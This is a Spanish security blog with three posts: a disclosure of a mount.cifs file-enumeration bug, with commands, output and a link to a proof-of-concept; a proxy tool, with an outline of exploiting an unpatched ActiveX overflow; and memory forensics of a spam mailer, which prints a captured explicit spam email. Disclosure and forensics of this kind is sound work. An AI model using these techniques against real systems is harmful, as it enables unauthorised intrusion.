mount.cifs arbitary file identification 0day

Jesús Olmos

Durante el wargame de la rootedcon 2012, además de participar, me dediqué a revisar un poco los sistemas.

Puesto que no tenía disponible el /proc/kallsyms, hacer ataques al kernel, supondría ir a ciegas, bruteforcear símbolos … , incluso posiblemente crashear el kernel.

De manera que me enfoqué sobretodo a revisar permisos, logs y binarios setuidados.

Mientras analizaba el binario mount.cifs, observé que ejecuta la syscall chdir() con privilegios de  root del cual controlamos las entradas y obtenemos feedback de las salidas.

Esta vulnerabilidad está presente en un binario, que está setuidado en la mayoría de las distribuciones Linux por defecto.

Este binario nos ofrece 3 mensajes de respuesta, si preguntamos por un fichero inexistente:

[sha0@spinlock ~]$ mount.cifs //127.0.0.1/aa /root/noexiste
Couldn’t chdir to /root/noexiste: No such file or directory

Un fichero existente:

[sha0@spinlock ~]$ mount.cifs //127.0.0.1/aa /root/.bash_history
Couldn’t chdir to /root/.bash_history: Not a directory

y Un directorio existente:

[sha0@spinlock ~]$ mount.cifs //127.0.0.1/aa /root/Desktop
mount.cifs: permission denied: no match for /root/Desktop found in /etc/fstab

Resumidamente las 3 respuestas son:

  • Si existe el directorio -> “no match”
  • Si existe el fichero -> “Not a directory”
  • Si no existe -> “No such file or directory”

Este ataque puede ser automatizado con el script root_eye.sh que se encuentra al final de este post.

Veamos un ejemplo real, donde no hay acceso de lectura ni acceso a /root ni a sus ficheros ni subdirectorios.

[sha0@spinlock advs]$ ls -l /root/
ls: cannot open directory /root/: Permission denied

[sha0@spinlock advs]$ stat /root
File: `/root’
Size: 4096         Blocks: 8          IO Block: 4096   directory
Device: 803h/2051d   Inode: 390598      Links: 33
Access: (0750/drwxr-x)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2012-03-07 17:59:04.262792177 +0100
Modify: 2012-03-07 17:59:00.356146674 +0100
Change: 2012-03-07 17:59:00.356146674 +0100

[sha0@spinlock advs]$ ./root_eye.sh root_eye.wl /root/
— directories —
.pulse1
.bash_history
.alsaplayer
.dbus
.mozilla
.VirtualBox
.vim
.links
.config
.cpan
.gnome2
— files —
.pulse-cookie
.keystore
.bash_profile
dead.letter
.mysql_history
.Xauthority
.vimrc
.viminfo
accesos

Esto puede dar pistas a un hacker de por donde atacar, o que teclas “pulsear” ;) 

Actualmente se encuentra corregida la vulnerabilidad en la versión 5.4 de cifs-utils.

Exploit, prueba de concepto:
http://bluelog.blueliv.com/wp-content/uploads/2012/04/root_eye1.txt
Security Advisory:
http://bluelog.blueliv.com/wp-content/uploads/2012/04/2012-004.txt

Proxy multi-protocolo sha0proxy v2

Jesús Olmos

Normalmente el desarollo de exploits requiere más tiempo del que uno tiene, de manera que hay que ingeniarse técnicas y herramientas que faciliten el trabajo.

Personalmente, antes que parchear una aplicación cliente, o utilizar las apis de ciertos protocolos, prefiero capturar el tráfico y enviar las cabeceras a bajo nivel, alterando los campos variables, con rfc y código del servidor en mano.

En 2008 publiqué un proxy multi-protocolo, para la intercepción y modificación de paquetes emitidos sobre TCP, sin embargo recientemente le he dado soporte UDP.

Este sencillo proxy tiene 3 modos:

  • En primer lugar, el modo view. Intercepta pero no altera el tráfico, mostrando los datos tanto en hexadecimal como en alfanumérico. Los colores facilitan la ingeniería inversa de los bloques y tipos de datos.

  • En segundo lugar, el modo trap, que permite alterar los datos. Esto es útil sobretodo para TCP, porque la sesión se mantiene establecida.

  • El tercer modo, consiste en preparar un fichero que permite “parchear al vuelo”, donde se indica el número de petición a alterar, offset dentro de la petición y reemplazo, donde se puede indicar en formato string y/o hexadecimal.

  • Este fichero de parche se puede lanzar en modo view, o combinarlo con parcheos manuales en modo trap. Se puede apreciar en la siguiente captura la petición 1 sin parchear y la petición 1 parcheada.

Por ejemplo el exploit del vnc bypass, se podría implementar en una simple línea mediante sha0proxy.

A continuación expongo un caso real, de reversing de protocolo + explotación en win32. No se puede revelar el nombre del producto porque todavía no está corregida la vulnerabilidad.

El activeX, recibe del servidor una cabecera y un bloque de datos; gracias al coloreado, se puede apreciar rápidamente que la cabecera está compuesta por  2 valores de 4 byets en little-endian

Puesto que el lado cliente, hace un recv() del tamaño indicado por la header, es posible desbordar el buffer de recepción. En este caso hubo que evadir el /gs y safe-seh gracias a un problema de concurrencia, en el que otro thread acceder a datos sobreescritos por este envío. La web debería de cargar el activeX 20 veces para que una de ellas se diera esta concurrenicia.

sha0proxy, a parte de permitir analizar los protocolos, permite a calibrar la explotación o incluso hacer el exploit en sha0proxy, mediante los ficheros de parche.

En este caso se puede apreciar la header de respuesta, el bloque para ajustar el incio d ela shellcode, un grupo de “A” para ajustar el offset, el cual será un salto a al user32.dll.

Próximamente incorporaré nuevas funcionalidades como fuzzing, o aplicar expresiones regulares en el contenido del tráfico.

Podeis descargarlo desde aquí: sha0proxy.pl

Respuesta a Incidentes: Analizando un mailer desde la memoria

Ramon Vicens Lillo

Es especialmente crítico que al detectar un incidente, como puede ser la infección por malware de cualquier equipo de una red interna, inmortalizar la “escena del crimen” con la máxima información posible acerca del estado de los equipos infectados.

En este caso, particularizaremos sobre lo importante que puede ser el hecho de disponer una foto del estado de la memoria volátil (RAM), ya que es un recurso muy jugoso de obtención de información dado un análisis post-mortem o incluso ante un caso de respuesta a incidente, ya que nos permitirá identificar rápidamente las suficientes trazas que permitan contener rápidamente el incidente.

Para obtener la memoria desde un equipo Windows infectado, existen variedad de herramientas específicas a tal efecto. Para el presente ejemplo, hemos utilizado la herramienta win32dd con el siguiente log:


D:\tools>win32dd.exe /m 1 /c 0 /r /f  Z:\memory.win32dd

win32dd - 1.3.1.20100417 - (Community Edition)
Kernel land physical memory acquisition
Copyright (C) 2007 - 2010, Matthieu Suiche <http://www.msuiche.net>
Copyright (C) 2009 - 2010, MoonSols <http://www.moonsols.com>

Name                        Value
----                        -----
File type:                  Raw memory dump file
Acquisition method:         \\Device\\PhysicalMemory
Content:                    Full physical address space

Destination path:           Z:\memory.win32dd

O.S. Version:               Microsoft Windows XP Professional Service Pack 3 (build 2600)
Computer name:              XXXXXXXX

Physical memory in use:         47%
Physical memory size:       1038384 Kb (   1014 Mb)
Physical memory available:   543808 Kb (    531 Mb)

Paging file size:           2503312 Kb (   2444 Mb)
Paging file available:      2029016 Kb (   1981 Mb)

Virtual memory size:        2097024 Kb (   2047 Mb)
Virtual memory available:   2083272 Kb (   2034 Mb)

Extented memory available:        0 Kb (      0 Mb)

Physical page size:         4096 bytes
Minimum physical address:   0x0000000000001000
Maximum physical address:   0x000000003F67F000

Address space size:         1063780352 bytes (1038848 Kb)

--> Are you sure you want to continue? [y/n] y

Acquisition started at:     [28/11/2010 (DD/MM/YYYY) 20:24:35 (UTC)]

Processing....Done.

Acquisition finished at:  [2010-11-28 (YYYY-MM-DD) 20:25:08 (UTC)]
Time elapsed:             0:33 minutes:seconds (33 secs)

Created file size:          1063780352 bytes (   1014 Mb)

NtStatus (troubleshooting):   0x00000000
Total of written pages:        259712
Total of inacessible pages:         9
Total of accessible pages:     259703

Physical memory in use:         47%
Physical memory size:       1038384 Kb (   1014 Mb)
Physical memory available:   543664 Kb (    530 Mb)

Paging file size:           2503312 Kb (   2444 Mb)
Paging file available:      2028796 Kb (   1981 Mb)

Virtual memory size:        2097024 Kb (   2047 Mb)
Virtual memory available:   2083272 Kb (   2034 Mb)

Extented memory available:        0 Kb (      0 Mb)

Physical page size:         4096 bytes
Minimum physical address:   0x0000000000001000
Maximum physical address:   0x000000003F67F000

Address space size:         1063780352 bytes (1038848 Kb)

Tras la obtención de la memoria, adicionalmente, nos hemos tomado la libertad de obtener una captura de red para apoyar al análisis de la memoria RAM que vamos a efectuar con la herramienta Volatility.

Empezaremos identificando todos los procesos que se encuentran actualmente en ejecución mediante el comando:

python volatility pslist_ex_1 –f memory.win32dd

obteniendo los siguientes resultados:


Name                 Pid    PPid   Thds   Hnds   Time
System               4      0      59     1141   Thu Jan 01 00:00:00 1970
smss.exe             724    4      3      19     Sun Nov 28 16:56:13 2010
csrss.exe            772    724    13     627    Sun Nov 28 16:56:15 2010
winlogon.exe         796    724    15     311    Sun Nov 28 16:56:15 2010
services.exe         840    796    15     297    Sun Nov 28 16:56:15 2010
lsass.exe            852    796    20     385    Sun Nov 28 16:56:15 2010
svchost.exe          1004   840    15     197    Sun Nov 28 16:56:16 2010
svchost.exe          1088   840    10     421    Sun Nov 28 16:56:16 2010
svchost.exe          1128   840    55     1084   Sun Nov 28 16:56:16 2010
EvtEng.exe           1164   840    8      130    Sun Nov 28 16:56:16 2010
S24EvMon.exe         1204   840    6      175    Sun Nov 28 16:56:16 2010
svchost.exe          1264   840    6      87     Sun Nov 28 16:56:16 2010
ZCfgSvc.exe          1540   796    5      183    Sun Nov 28 16:56:18 2010
svchost.exe          1588   840    17     228    Sun Nov 28 16:56:18 2010
explorer.exe         1664   1644   20     622    Sun Nov 28 16:56:18 2010
shell.exe            1672   1644   8      152    Sun Nov 28 16:56:18 2010
svchost.exe          1912   1880   6      57     Sun Nov 28 16:56:19 2010
spoolsv.exe          212    840    10     120    Sun Nov 28 16:56:20 2010
AppleMobileDevi      404    840    3      87     Sun Nov 28 16:56:21 2010
ApplicationUpda      472    840    2      93     Sun Nov 28 16:56:21 2010
mDNSResponder.e      500    840    2      90     Sun Nov 28 16:56:21 2010
jqs.exe              548    840    5      135    Sun Nov 28 16:56:21 2010
mdm.exe              584    840    4      93     Sun Nov 28 16:56:21 2010
OProtSvc.exe         600    840    6      120    Sun Nov 28 16:56:21 2010
RegSrvc.exe          644    840    3      76     Sun Nov 28 16:56:21 2010
wdfmgr.exe           748    840    4      64     Sun Nov 28 16:56:21 2010
alg.exe              1448   840    6      108    Sun Nov 28 16:56:22 2010
UnlockerAssista      1752   1664   1      27     Sun Nov 28 16:56:23 2010
hkcmd.exe            1776   1664   2      78     Sun Nov 28 16:56:23 2010
igfxpers.exe         1792   1664   3      89     Sun Nov 28 16:56:23 2010
RTHDCPL.EXE          1804   1664   5      183    Sun Nov 28 16:56:23 2010
1XConfig.exe         1840   1004   13     4869   Sun Nov 28 16:56:23 2010
iFrmewrk.exe         1848   1664   5      165    Sun Nov 28 16:56:23 2010
EOUWiz.exe           1900   1664   4      147    Sun Nov 28 16:56:23 2010
SearchSettings.      1908   1664   3      79     Sun Nov 28 16:56:23 2010
winampa.exe          1932   1664   1      30     Sun Nov 28 16:56:23 2010
jusched.exe          196    1664   1      26     Sun Nov 28 16:56:23 2010
iTunesHelper.ex      636    1664   11     351    Sun Nov 28 16:56:24 2010
qtplugin.exe         1048   1664   23     201    Sun Nov 28 16:56:24 2010
ctfmon.exe           1356   1664   1      78     Sun Nov 28 16:56:24 2010
msnmsgr.exe          1736   1664   21     504    Sun Nov 28 16:56:28 2010
msmsgs.exe           1512   1664   2      159    Sun Nov 28 16:56:29 2010
svcnost.exe          1468   1664   1      148    Sun Nov 28 16:56:29 2010
updates.exe          1820   1664   5      101    Sun Nov 28 16:56:29 2010
iPodService.exe      2284   840    11     123    Sun Nov 28 16:56:31 2010
svchost.exe          4076   840    8      92     Sun Nov 28 16:56:43 2010
mshta.exe            820    1128   3      168    Sun Nov 28 17:13:00 2010
dwm.exe              360    3456   6      57     Sun Nov 28 17:58:48 2010
mshta.exe            2296   1128   3      169    Sun Nov 28 18:13:00 2010
mshta.exe            2812   1128   3      169    Sun Nov 28 19:13:00 2010
wireshark.exe        2632   3284   3      209    Sun Nov 28 19:58:40 2010
dumpcap.exe          2872   2632   0      -1     Sun Nov 28 19:58:50 2010
2010
firefox.exe          2072   1664   22     400    Sun Nov 28 20:10:24 2010
plugin-containe      3572   2072   5      145    Sun Nov 28 20:11:30 2010
mshta.exe            3312   1128   3      169    Sun Nov 28 20:13:00 2010
svchost.exe          2752   840    6      127    Sun Nov 28 20:15:10 2010
cmd.exe              3984   1664   1      34     Sun Nov 28 20:20:42 2010
win32dd.exe          3944   3984   1      22     Sun Nov 28 20:24:33 2010

A priori, identificar el proceso malicioso se podría considerar, dependiendo del sistema analizado, algo complicado. Por ello, vamos a correlar la información de los procesos en ejecución con la información sockets abiertos, y por lo tanto, potenciales conexiones UDP o TCP:


python  volatility sockscan –f memory.win32dd

PID    Port   Proto  Create Time                Offset
------ ------ ------ -------------------------- ----------

1048   2848   6      Sun Nov 28 20:23:14 2010   0x05310cb8
2072   1163   6      Sun Nov 28 20:10:37 2010   0x05323008
1048   2932   17     Sun Nov 28 20:24:20 2010   0x05323400
1048   2980   6      Sun Nov 28 20:24:31 2010   0x053251f0
1048   2962   17     Sun Nov 28 20:24:22 2010   0x053c9e98
500    5353   17     Sun Nov 28 19:46:23 2010   0x053d8b58
1048   2956   6      Sun Nov 28 20:24:21 2010   0x053dbe98
820    4176   17     Sun Nov 28 17:13:01 2010   0x053e44b8
1048   1357   17     Sun Nov 28 19:43:24 2010   0x053f8a58
1048   2955   17     Sun Nov 28 20:24:21 2010   0x053fae98
4      138    17     Sun Nov 28 19:46:21 2010   0x0540a470
1048   2927   6      Sun Nov 28 20:24:19 2010   0x054148a8
1588   1900   17     Sun Nov 28 19:46:21 2010   0x05421810
2296   2987   17     Sun Nov 28 18:13:01 2010   0x05424470
1048   2977   6      Sun Nov 28 20:24:30 2010   0x05427008
1048   2950   17     Sun Nov 28 20:24:21 2010   0x054292b0
1468   4660   6      Sun Nov 28 19:42:04 2010   0x0542a650
1048   2952   17     Sun Nov 28 20:24:21 2010   0x054487d0
1468   2502   6      Sun Nov 28 19:52:04 2010   0x0545a558
2072   1158   6      Sun Nov 28 20:10:27 2010   0x05469710
1128   123    17     Sun Nov 28 19:46:21 2010   0x0547b9f8
1048   2979   6      Sun Nov 28 20:24:30 2010   0x05480858
1048   2961   17     Sun Nov 28 20:24:22 2010   0x054e56e8
1088   135    6      Sun Nov 28 16:56:16 2010   0x054f7008
...
500    5354   6      Sun Nov 28 16:56:21 2010   0x056a4210
1048   1099   17     Sun Nov 28 20:09:48 2010   0x056c3580
1048   2993   17     Sun Nov 28 20:24:34 2010   0x056c96a0
500    1025   17     Sun Nov 28 16:56:21 2010   0x056d0e98
1048   2958   6      Sun Nov 28 20:24:22 2010   0x05789890
4      445    17     Sun Nov 28 16:56:02 2010   0x06198308
1820   2715   6      Sun Nov 28 20:21:52 2010   0x06199b48
1048   2926   6      Sun Nov 28 20:24:19 2010   0x061ae580
1048   2999   6      Sun Nov 28 20:24:38 2010   0x061b05a8
1048   2998   6      Sun Nov 28 20:24:37 2010   0x061c19f0
1048   2917   17     Sun Nov 28 20:24:19 2010   0x061d5b20
1048   2960   6      Sun Nov 28 20:24:22 2010   0x061e6e18
1468   1468   6      Sun Nov 28 20:12:05 2010   0x06202bf0
1048   2997   6      Sun Nov 28 20:24:35 2010   0x062129f8
1048   2949   6      Sun Nov 28 20:24:21 2010   0x06222170
1048   2987   6      Sun Nov 28 20:24:32 2010   0x0622fcf0
1048   2745   6      Sun Nov 28 20:23:08 2010   0x0629a008
1048   2978   6      Sun Nov 28 20:24:30 2010   0x062bfbb8
1264   60158  17     Sun Nov 28 20:24:37 2010   0x062ce008
1048   2988   17     Sun Nov 28 20:24:33 2010   0x0634be98
1048   2924   6      Sun Nov 28 20:24:19 2010   0x06353d98
2072   1157   6      Sun Nov 28 20:10:27 2010   0x063ceba0
1264   49893  17     Sun Nov 28 20:09:47 2010   0x06f03df0
1048   1112   6      Sun Nov 28 20:09:49 2010   0x07181870
1820   3128   6      Sun Nov 28 16:56:42 2010   0x08cf6448
1048   1119   6      Sun Nov 28 20:09:51 2010   0x09fbf750
1048   1087   6      Sun Nov 28 20:09:47 2010   0x0f064d38
1048   1093   6      Sun Nov 28 20:09:47 2010   0x1628be98
1048   4898   6      Sun Nov 28 20:08:44 2010   0x17b0f008
636    1032   6      Sun Nov 28 16:56:29 2010   0x189a0e98
1048   1060   6      Sun Nov 28 20:09:46 2010   0x1a12fd20
1048   1094   6      Sun Nov 28 20:09:47 2010   0x1c1e0128
1048   1128   6      Sun Nov 28 20:09:52 2010   0x1c1e0668
1048   1056   6      Sun Nov 28 20:09:46 2010   0x1d671750
1048   1126   6      Sun Nov 28 20:09:51 2010   0x1ef8ee30
1048   1055   6      Sun Nov 28 20:09:46 2010   0x20666d68
1468   4660   6      Sun Nov 28 19:42:04 2010   0x2245e650
4      445    17     Sun Nov 28 16:56:02 2010   0x22b89308
500    5354   6      Sun Nov 28 16:56:21 2010   0x25093210
1820   19457  6      Sun Nov 28 16:56:42 2010   0x25f618c0
1048   1357   17     Sun Nov 28 19:43:24 2010   0x26121a58

Tal y como se observa en la siguiente figura, se ha realizado un pequeño estudio de la cantidad de sockets utilizados por cada proceso, identificando claramente que el proceso con PID 1048 es claramente el que potencialmente genera más actividad de red:

Volviendo al listado de procesos anteriormente identificado, el PID 1048 se corresponde al ejecutable qtplugin.exe. El elevado número de sockets utilizados por dicho proceso indica un comportamiento anómalo, pudiendo ser el causante de posibles afecciones en el rendimiento del equipo analizado.

Si nos centramos, en analizar los datos de la memoria en torno al PID 1048, podemos ver que ha sido lanzado por el proceso explorer.exe, ha lanzado en el instante de la captura de la memoria 23 threads y aparentemente se ha iniciado acto seguido de arrancar el proceso padre, es decir, explorer.exe con lo que nos estaría indicando que, con alta probabilidad, hay algún mecanismo que auto-arranca el proceso:


Name                 Pid    PPid   Thds   Hnds   Time
explorer.exe           1664   1644   20     622    Sun Nov 28 16:56:18 2010
qtplugin.exe         1048   1664   23     201    Sun Nov 28 16:56:24 2010

Además, es posible obtener el conjunto de ficheros utilizados por dicho proceso mediante el siguiente comando:


python volatility files –f memory.win32dd

Obteniendo un listado de ficheros utilizados por el proceso. De forma similar, se podrían obtener todas las DLLs que se encuentran cargadas por el proceso, pudiendo de este modo, identificar qué uso hace el proceso de código compartido con el sistema u otros procesos.


*****************************************************
Pid: 1048
File   \Documents and Settings\Administrator
File   \WINDOWS\WinSxS\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.5512_x-ww_35d4ce83
File   \AsyncConnectHlp

*****************************************************

python volatility dll –f memory.win32dd

*****************************************************
qtplugin.exe pid: 1048
Command line : "C:\WINDOWS\system32\qtplugin.exe"
Service Pack 3

Base         Size         Path
0x400000     0x161000     C:\WINDOWS\system32\qtplugin.exe
0x7c900000   0xaf000      C:\WINDOWS\system32\ntdll.dll
0x7c800000   0xf6000      C:\WINDOWS\system32\kernel32.dll
0x7e410000   0x91000      C:\WINDOWS\system32\user32.dll
0x77f10000   0x49000      C:\WINDOWS\system32\GDI32.dll
0x77dd0000   0x9b000      C:\WINDOWS\system32\advapi32.dll
0x77e70000   0x92000      C:\WINDOWS\system32\RPCRT4.dll
0x77fe0000   0x11000      C:\WINDOWS\system32\Secur32.dll
0x77120000   0x8b000      C:\WINDOWS\system32\oleaut32.dll
0x77c10000   0x58000      C:\WINDOWS\system32\msvcrt.dll
0x774e0000   0x13e000     C:\WINDOWS\system32\ole32.dll
0x77c00000   0x8000       C:\WINDOWS\system32\version.dll
0x5d090000   0x9a000      C:\WINDOWS\system32\comctl32.dll
0x7c9c0000   0x817000     C:\WINDOWS\system32\shell32.dll
0x77f60000   0x76000      C:\WINDOWS\system32\SHLWAPI.dll
0x773d0000   0x103000     C:\WINDOWS\WinSxS\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.5512_x-ww_35d4ce83\comctl32.dll
0x76780000   0x9000       C:\WINDOWS\system32\SHFolder.dll
0x71ad0000   0x9000       C:\WINDOWS\system32\wsock32.dll
0x71ab0000   0x17000      C:\WINDOWS\system32\WS2_32.dll
0x71aa0000   0x8000       C:\WINDOWS\system32\WS2HELP.dll
0x76d60000   0x19000      C:\WINDOWS\system32\iphlpapi.dll
0x5ad70000   0x38000      C:\WINDOWS\system32\uxtheme.dll
0x10000000   0x4000       C:\Program Files\Unlocker\UnlockerHook.dll
0x5e0c0000   0xd000       C:\WINDOWS\system32\pstorec.dll
0x76b20000   0x11000      C:\WINDOWS\system32\ATL.DLL
0x77a80000   0x95000      C:\WINDOWS\system32\crypt32.dll
0x77b20000   0x12000      C:\WINDOWS\system32\MSASN1.dll
0x71a50000   0x3f000      C:\WINDOWS\system32\mswsock.dll
0x662b0000   0x58000      C:\WINDOWS\system32\hnetcfg.dll
0x71a90000   0x8000       C:\WINDOWS\System32\wshtcpip.dll
0x76fc0000   0x6000       C:\WINDOWS\system32\rasadhlp.dll
0x76f20000   0x27000      C:\WINDOWS\system32\DNSAPI.dll
0x76fb0000   0x8000       C:\WINDOWS\System32\winrnr.dll
0x76f60000   0x2c000      C:\WINDOWS\system32\WLDAP32.dll
0x64000000   0x25000      C:\Program Files\Bonjour\mdnsNSP.dll
0x74720000   0x4c000      C:\WINDOWS\system32\MSCTF.dll

*****************************************************

Es de especial interés el hecho de detectar DLLs que proporcionan funcionalidades de red, ya que nos ayuda a relacionarlo con la alta actividad de red detectada por el proceso:

  • wsock32.dll, mswsock.dll,hnetcfg.dll,wshtcpip.dll,DNSAPI.dll,WS2_32.dll las cuales proporcionan funciones de acceso a los recursos de red
  • crypt32.dll,Secur32.dll proporcionando funciones de criptografia, indicando la posibilidad de que se esté efectuando transferencia de información de forma cifrada
  • WLDAP32.dll que proporciona funciones de interacción con repositorios del tipo directorio
  • RPCRT4.dll que proporciona funciones de interacción con funciones de Remote Procedure Calls

Si volcamos el proceso desde la memoria mediante la opción procdump de volatility, podemos a continuación realizar un análisis de strings del fichero ejecutable obtenido. De dónde se han podido identificar los siguientes strings:

Dominios e IP potencialmente afectadas y/o relacionadas

Se han detectado 153 equipos pertenecientes a dominios .ru y .ua de los cuales la mayoría aparentan ser servidores de correo electrónico. Véase la siguiente muestra:

pop.inbox.ru
yandex.ru
rambler.ru
e-mail.ru
pochta.ru
newmail.ru
nextmail.ru
mailgate.ru
zmail.ru
hob.ru
by.ru
mail.km.ru
email.ru
mail.rin.ru
www.webservis.ru
mail.online.ua
smtp.nextmail.ru
nextmail.ru
smtp.russian.ru
smtp.xaker.ru
smtp.students.ru
smtp.mail2k.ru
smtp.dezigner.ru
smtp.programist.ru
smtp.nxt.ru
smtp.yes.ru
smtp.mailgate.ru
mailgate.ru
smtp.msx.ru
smtp.pobox.ru
smtp.a.org.ua
smtp.bride.crimea.ua
smtp.cd.crimea.ua
smtp.doctor.crimea.ua
smtp.forum.crimea.ua
smtp.google.crimea.ua
smtp.index.crimea.ua
smtp.it.crimea.ua
smtp.kino.crimea.ua

Además, se ha podido recuperar información de algunas IPs y/o redes potencialmente afectadas, pudiendo geolocalizarlas en el siguiente mapa:

Mapa de IPs potencialmente afectadas

Mapa de IPs potencialmente afectadas

Potenciales modificaciones y/o accesos a claves del registro de Windows

Los strings detectados y relacionados con las claves del registro abajo enumeradas, podrían indicar que el proceso qtplugin.exe es ejecutado cada vez que el sistema operativo es arrancado, asegurándose de este modo, la ejecución del malware ante reinicios del equipo afectado.

\system32\qtplugin.exe
Software\Microsoft\Windows\CurrentVersion\Run

Datos relativos a un posible panel de control

Los siguientes recursos PHP, indicant la posibilidad de que el especimen esté administrado mediante un panel de control en PHP:

admin1
/stat1.php
/stat2.php
/smtps.php
/u.php?
/error.php?

De modo que, dado el caso de un análisis en mayor profundidad del sistema de ficheros podríamos buscar historial de navegación, cookies, etc relacionados con la tecnología.

Indicios de mailer

Se han detectado otros indicios, que juntamente con los servidores smtp enumerados previamente, corroboran la posibilidad de que el espécimen se trate de un Mailer, tal y como se refleja en un parámetro de un potencial panel de configuración:

ver=1&login=kuklachev&macroses_version=2&SMTPWorking=True&SMTPOn=True&SMTPSentNumber=5

S:\Programs\Delphi\Mailer4\cl\Sources\clMailMessage.pas

O bien, también es posible detectar múltiples fragmentos de correos electrónicos enviados a destinatarios diferentes, utilizando diferentes servidores de correo., confirmando que estamos frente a un malware que, entre otras acciones, se dedica a enviar spam utilizando los recursos de red del equipo afectado:

__O ______< __Received: from ybfehl ([192.209.237.60])
by tmcbhx (8.13.4/8.13.4) with SMTP id m235890368158y2Sl117135
for <%TO_MAIL>; Sun, 28 Nov 2010 21:23:11 +0100 (CDT)
(envelope-from diaobtld@northfieldseniorcenter.org)
Message-ID: <015401cb8f3a$145326e0$4b2aa35a@ybfehl>
From: "diaobtld@northfieldseniorcenter.org" <diaobtld@northfieldseniorcenter.org>
To: "sspkcclark" <%TO_MAIL>
Subject: Adri Fudcks Her Saucy Pusosy With A Glass Toy From Behind
Date: Sun, 28 Nov 2010 12:21:23 -0800
MIME-Version: 1.0
Content-Type: multipart/alternative;
boundary="----=_NextPart_000_0151_01CB8F42.75D18530"
X-Mailer: Microsoft Office Outlook, Build 11.0.5510
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.3198</p>
This is a multi-part message in MIME format.</p>
------=_NextPart_000_0151_01CB8F42.75D18530
Content-Type: text/plain;
charset="us-ascii"
Content-Transfer-Encoding: quoted-printable</p>
abffk"
------=_NextPart_000_0151_01CB8F42.75D18530
Content-Type: text/html;
charset="us-ascii"
Content-Transfer-Encoding: quoted-printable</p>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; charset=3Dus-ascii">
<META content=3D"MSHTML 6.00.6000.16431" name=3DGENERATOR></p>
</HEAD>
<BODY>
<font color=3D#66CC99  size=3D"1">xcrampa and to kill its kingb</font><br><br>
<font size=3D"1">hour pennon free and it soon willn</font>
<font  size=3D"4"><a href=3D"http://oversupergirls.x.fc2.com/advertise/aberration.html">Too Shy To Resist Gymnastic Domination Passions!</a></font>
<font size=3D"3">vdescent for a moment the canoe pausesi</font><br>
<font color=3D#3366FF  size=3D"3">sdick i broke the news too</font>
<font size=3D"1">jnow the people in these hills arew</font><br><br>
<br>
</BODY></HTML></p>

Revelación de datos acerca del origen del especimen

Como se observa a continuación, es posible identificar algunos datos acerca de posibles recursos que revelan información acerca del especimen. A continuación, se puede observar, como ejemplo referencias a “The Bat!” el cual es un cliente de correo conocido, o bien a recursos y rutas del path del código fuente del programa:

SOFTWARE\RIT\The Bat!\Users depot
SOFTWARE\RIT\The Bat!
S:\Programs\Delphi\Mailer4\cl\Sources\clMailMessage.pas

Además del análisis de los strings, es posible también analizar las claves del registro del sistema operativo del equipo afectado carga en memoria. Para ello, vamos a enumerar los offsets de cada uno de los hives que están en memoria:

python volatility hivescan –f memory.win32dd
Offset          (hex)
14385160        0xdb8008
109400072       0x6855008
109431648       0x685cb60
114352776       0x6d0e288
164319240       0x9cb5008
164540424       0x9ceb008
310820872       0x1286c008
310823776       0x1286cb60
311027384       0x1289e6b8
311028576       0x1289eb60
360493064       0x157cb008
362885128       0x15a13008
389877768       0x173d1008
390019936       0x173f3b60
392499208       0x17651008
417206280       0x18de1008
418424504       0x18f0a6b8
418425696       0x18f0ab60
622731272       0x251e2008
862322696       0x33660008

Obtenemos los offsets de hives principales del registro a partir del primer resultado:


python volatility hivelist -o 0xdb8008 –f memory.win32dd

0xe102e008   [no name]
0xe1036b60   \WINDOWS\system32\config\system
0xe14e5288   [no name]
0xe15d56b8   \WINDOWS\system32\config\software
0xe15d5b60   \WINDOWS\system32\config\SECURITY
0xe15db008   \WINDOWS\system32\config\default
0xe15dbb60   \WINDOWS\system32\config\SAM
0xe1bf6008   \Documents and Settings\NetworkService\Local Settings\Application Data\Microsoft\Windows\UsrClass.dat
0xe23d7008   \Documents and Settings\NetworkService\NTUSER.DAT
0xe2611b60   \Documents and Settings\Administrator\Local Settings\Application Data\Microsoft\Windows\UsrClass.dat
0xe2650008   \Documents and Settings\Administrator\NTUSER.DAT
0xe2784008   \Documents and Settings\LocalService\Local Settings\Application Data\Microsoft\Windows\UsrClass.dat
0xe2b09008   \Documents and Settings\LocalService\NTUSER.DAT

Procesaremos los hives NTUSER, SAM, SECURITY, SOFTWARE y SYSTEM mediante regripper:

perl rip.pl -r memory.win32dd @0xe1036b60 -f system > system.txt
perl rip.pl -r memory.win32dd @0xe15d56b8 -f software > software txt
perl rip.pl -r memory.win32dd @0xe15d5b60 -f security > security.txt
perl rip.pl -r memory.win32dd @0xe15dbb60 -f sam > sam.txt
perl rip.pl -r memory.win32dd @0xe23d7008 -f ntuser > ntuser-NtwkSrvc.txt
perl rip.pl -r memory.win32dd @0xe2650008 -f ntuser > ntuser-Admin.txt
perl rip.pl -r memory.win32dd @0xe2b09008 -f ntuser > ntuser-LclSrvc.txt</p>

Del análisis de los resultados de regripper, podemos obtener:

  • En el equipo tan solo existen los usuarios, indicando que no se han creado nuevos usuarios en el sistema:
    • Administrator
    • Guest
    • HelpAssistant
    • SUPPORT_388945a0
  • En la clave del registro (Microsoft\Windows\CurrentVersion\Run) que indica los programas a ejecutar al arrancar el sistema operativo, aparecen los siguientes registros:
    • RegistryMonitor1 -> C:\WINDOWS\system32\qtplugin.exe
    • svchost -> C:\Documents and Settings\Administrator\Application Data\Microsoft\svchost.exe

El proceso svchost.exe es que verifica, en el arranque, todos los servicios que están asignados en el registro para construir una lista de servicios que se deben ejecutar. Dado que forma parte del sistema operativo es especialmente sospechoso que no se encuentre almacenado bajo la ruta C:\Windows\System32

  • En las aplicaciones permitidas de la política de filtrado del centro de seguridad de Windows ( ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List ), aparecen aplicaciones especialmente sospechosas, pudiendo indicar la presencia de un backdoor:
    • C:\Program Files\Bonjour\mDNSResponder.exe -> C:\Program Files\Bonjour\mDNSResponder.exe:*:Enabled:Servicio Bonjour
    • C:\Program Files\Windows Live\Messenger\wlcsdk.exe -> C:\Program Files\Windows Live\Messenger\wlcsdk.exe:*:Enabled:Windows Live Call
